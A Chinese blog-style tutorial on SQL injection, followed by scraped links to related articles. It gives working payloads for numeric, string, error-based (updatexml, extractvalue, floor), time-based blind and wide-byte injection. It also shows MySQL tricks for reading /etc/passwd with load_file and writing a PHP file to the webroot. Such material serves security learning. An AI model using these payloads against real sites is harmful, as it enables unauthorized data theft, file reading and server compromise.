先看一个sql语句:

select * from admin where username='(此处为用户输入的数据)';

在没有任何过滤的情况下,如果用户输入:' or 1=1 --

这条语句就为:select * from admin where username='' or 1=1 --';

可见,语句执行永远为真。此时就进行了sql注入。

SQL注入有如下分类:

一、数字型注入

初始参数为:id=1

可以构造:id=1 or 1=1 (语句执行永远为真)

id=1 and 1=2 (语句执行永远为假)

id=1' (语句执行会出错)

数字型注入较为简单,而且一般在PHP,ASP等弱类型语言中存在,而对于Java,C#等强类型语言一般不存在。

二、字符型注入

字符型注入首先想到的是闭合单引号。

不难想到:id=1' and 1=2 --

-- 是注释后边的语句。

三、其他注入

sql注入其实可以说就是字符型注入和数字型注入。

还有一些常见的注入,如:

POST注入:注入字段在POST数据中。

Cookie注入:注入字段在Cookie字段中。

延时注入:使用数据库延时特性注入。

base64注入:注入字符串需要经过base64加密。

四、Mysql特性

mysql是一种数据库。

(1)三种注释:

#:注释从“#”字符到行尾。

--:注释“-- ”序列到行尾。注意:“-- ”后面要加一个空格。

/**/:注释/*  XXXX */中间的字符。

/**/注释存在一个特点:select id /*!55555,username*/ from users

语句正常执行。/*!55555,username*/的意思是若Mysql版本号高于或者等于5.55.55,语句将会被执行。如果“!”后面不加入版本号,将直接执行sql语句。

(2)mysql函数利用

load_file()函数读文件

读取文件,文件必须在服务器上,文件必须为绝对路径,必须有权限,文件容量小于         max_allowed_packet字节(默认为16MB,最大为1GB),如:

union select 1,load_file('/etc/passwd'),3,4,5,6 #

绕过单引号:union select 1,load_file(字符串转换为十六进制),3,4,5,6 #

union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 #   ascii码

into outfile写文件操作

必须持有权限,文件名为绝对路径。

如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'

绕过单引号:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'

concat 连接字符串

concat(user(),0x2c,database())

concat_ws(0x2c,user(),database())       0x2c是 逗号的16进制。

五、Mysql报错注入

(1)updatexml

select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

结果返回一个错误:'|5.1.50-community-log'

(2)extractvalue

select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));

结果返回一个错误:'|root@localhost'

(3)floor

select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

结果返回:Duplicate entry '1root@localhost' for key 'group_key'

六、宽字节注入

如果PHP开启了魔术引号,就会将单引号,双引号,反斜杠和NULL字符加上反斜杠转义。

如:id='   会输出    \'

这时我们可以使用宽字节注入:id=%d5'     输出:誠'   注入成功。

我们将  誠 进行url编码:%d5%5c

而 \的url编码为:%5c   可见 ,繁体字将反斜杠吃掉了。这就是宽字节注入的原理。

七、长字符截断

原理很简单。

比如在数据库创建三个如下用户:

admin   (有三个空格)

admin     (有五个空格)

admin       (有七个空格)

三个用户名长度不一样,但是如果 查询admin用户名,三个用户名都会被查询到。

假设后台语句是:

select count(*) from users where username='admin' and password='******';

这是存在安全问题的,如果用户创建一个“admin          ”用户,即可轻易进入后台,著名的wordpress就被这样的方式攻击过。

八、延时注入

基于时间差异的盲注手段。延时注入需要用到sleep()函数。

如:select * from users where id = 1 and sleep(3)    #三秒后执行sql语句。

也可以判断是否存在注入:url+id=1 and sleep(3)  页面三秒左右打开,则存在注入。

通常 会采用和 if 函数 搭配使用,进行爆破字符串。

如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)

L的位置代表字符串的第几个字符,N代表ASCII码。

执行成功,则三秒左右返回页面,否则,和原来相同。

ps:坚持,努力,为梦想奋斗。

浅谈SQL注入的更多相关文章

  1. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  2. 浅谈SQL注入风险 - 一个Login拿下Server(转)

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  3. 【sql注入】浅谈sql注入中的Post注入

    [sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...

  4. 浅谈SQL注入漏洞以及防范策略

    --HeShiwei 2014-5-15 什么是SQL注入 SQL注入,指的是用户通过向登录框输入恶意字符,利用代码的字符串拼接漏洞进行网站注入攻击,最终导致整个网站用户表信息泄露的攻击方式.黑客就是 ...

  5. 浅谈 SQL 注入(注入篇)

    一.SQL注入简介 1.1 什么是SQL注入 在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条 SQL语句传递给web ...

  6. 转【】浅谈sql中的in与not in,exists与not exists的区别_

    浅谈sql中的in与not in,exists与not exists的区别   1.in和exists in是把外表和内表作hash连接,而exists是对外表作loop循环,每次loop循环再对内表 ...

  7. 浅谈sql中的in与not in,exists与not exists的区别

    转 浅谈sql中的in与not in,exists与not exists的区别   12月12日北京OSC源创会 —— 开源技术的年终盛典 »   sql exists in 1.in和exists ...

  8. 浅谈sql 、linq、lambda 查询语句的区别

    浅谈sql .linq.lambda 查询语句的区别 LINQ的书写格式如下: from 临时变量 in 集合对象或数据库对象 where 条件表达式 [order by条件] select 临时变量 ...

  9. 浅谈SQL优化入门:3、利用索引

    0.写在前面的话 关于索引的内容本来是想写的,大概收集了下资料,发现并没有想象中的简单,又不想总结了,纠结了一下,决定就大概写点浅显的,好吧,就是懒,先挖个浅坑,以后再挖深一点.最基本的使用很简单,直 ...

随机推荐

  1. 【20190223】HTTP-知识点整理:HTTPS

    HTTPS:添加了加密及认证机制的HTTP HTTPS 并非是应用层的一种新协议.只是 HTTP 通信接口部分用SSL(Secure Socket Layer)和 TLS(Transport Laye ...

  2. web自动化 基于python+Selenium+PHP+Ftp实现的轻量级web自动化测试框架

    基于python+Selenium+PHP+Ftp实现的轻量级web自动化测试框架   by:授客 QQ:1033553122     博客:http://blog.sina.com.cn/ishou ...

  3. Kotlin入门(21)活动页面的跳转处理

    Activity的活动页面跳转是App最常用的功能之一,在前几章的demo源码中便多次见到了,常常是点击界面上的某个按钮,然后跳转到与之对应的下一个页面.对于App开发者来说,该功能的实现非常普通,使 ...

  4. Java的内存 -JVM 内存管理

    一.综述 如果你学过C或者C++,那么你应该感受过它们对内存那种强大的掌控力.但是强大的能力往往需要更强大的控制力才能保证能力不被滥用,如果滥用C/C++的内存管理那么很容易出现指针满天飞的情况,不出 ...

  5. Windows Server 2012更新补丁后导致Micosoft ODBC for Oracle出现问题

    上周由于WannaCry勒索病毒肆虐全球,14号系统管理员更新了一系列补丁后,导致一Windows Server 2012服务器上面部署的一些老旧的应用无法使用Microsoft ODBC for O ...

  6. BurpSuit2.0专业版破解

    简介 Burp Suite 是用于攻击web 应用程序的集成平台.它包含了许多Burp工具,这些不同的burp工具通过协同工作,有效的分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻 ...

  7. C#面向对象 类的继承

    1.类的访问权限: public:跨程序集,命名空间,必须被using引用: internal:默认当前命名空间: 2.类成员的访问权限: private:私有的,只能当前类: protecte:受保 ...

  8. Python描述符的使用

    Python描述符的使用 前言 作为一位python的使用者,你可能使用python有一段时间了,但是对于python中的描述符却未必使用过,接下来是对描述符使用的介绍 场景介绍 为了引入描述符的使用 ...

  9. Ubuntu下启动 Redis时, 提示 "Can't open the log file: Permission denied failed"

    问题来源:在删除var目录下的log文件时,将redis文件夹删除了.然后在重启时:/etc/init.d/redis-server start,提示: Starting redis-server: ...

  10. Win 10 和 Linux 双系统,从硬盘删除Linux分区,Win 10引导修复

    由于安装双系统后,Linux 用的比较少.因此,从Win 10 磁盘管理中删除了linux 占用的磁盘空间,重启后无法进入win 10 ,出现如下情况: 有人提出,此时需要重装系统,并不用如此麻烦,通 ...